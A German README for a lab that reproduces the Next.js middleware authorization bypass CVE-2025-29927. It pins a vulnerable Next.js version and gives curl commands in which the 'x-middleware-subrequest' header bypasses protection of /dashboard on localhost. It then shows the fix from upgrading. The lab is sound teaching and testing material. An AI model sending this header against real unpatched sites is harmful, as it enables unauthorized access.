
Reproduktionslabor für CVE-2025-29927 — Next.js Middleware Autorisierungsumgehung (CVSS 9.1)
Minimales Reproduktions-Labor für CVE-2025-29927 — Next.js Middleware-Autorisierungsumgehung (CVSS 9.1).
Begleitmaterial zu: N-Day-Analyse auf Medium
Eine Next.js 15.2.2-App (angreifbar) mit einer cookie-geschützten /dashboard-Route. Die Middleware-Authentifizierungsprüfung kann durch Senden eines einzigen HTTP-Headers umgangen werden — keine Anmeldedaten erforderlich.
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
Schritt 1 — Bestätigen, dass die Middleware nicht authentifizierte Anfragen blockiert:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
Schritt 2 — Middleware mit dem Subrequest-Header umgehen:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
Schritt 3 — Auf die gepatchte Version aktualisieren und bestätigen, dass die Umgehung blockiert ist:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| Route | Zugriff |
|---|---|
/ | Öffentlich |
/login | Öffentlich |
/dashboard | Durch Middleware geschützt (erfordert session-Cookie) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5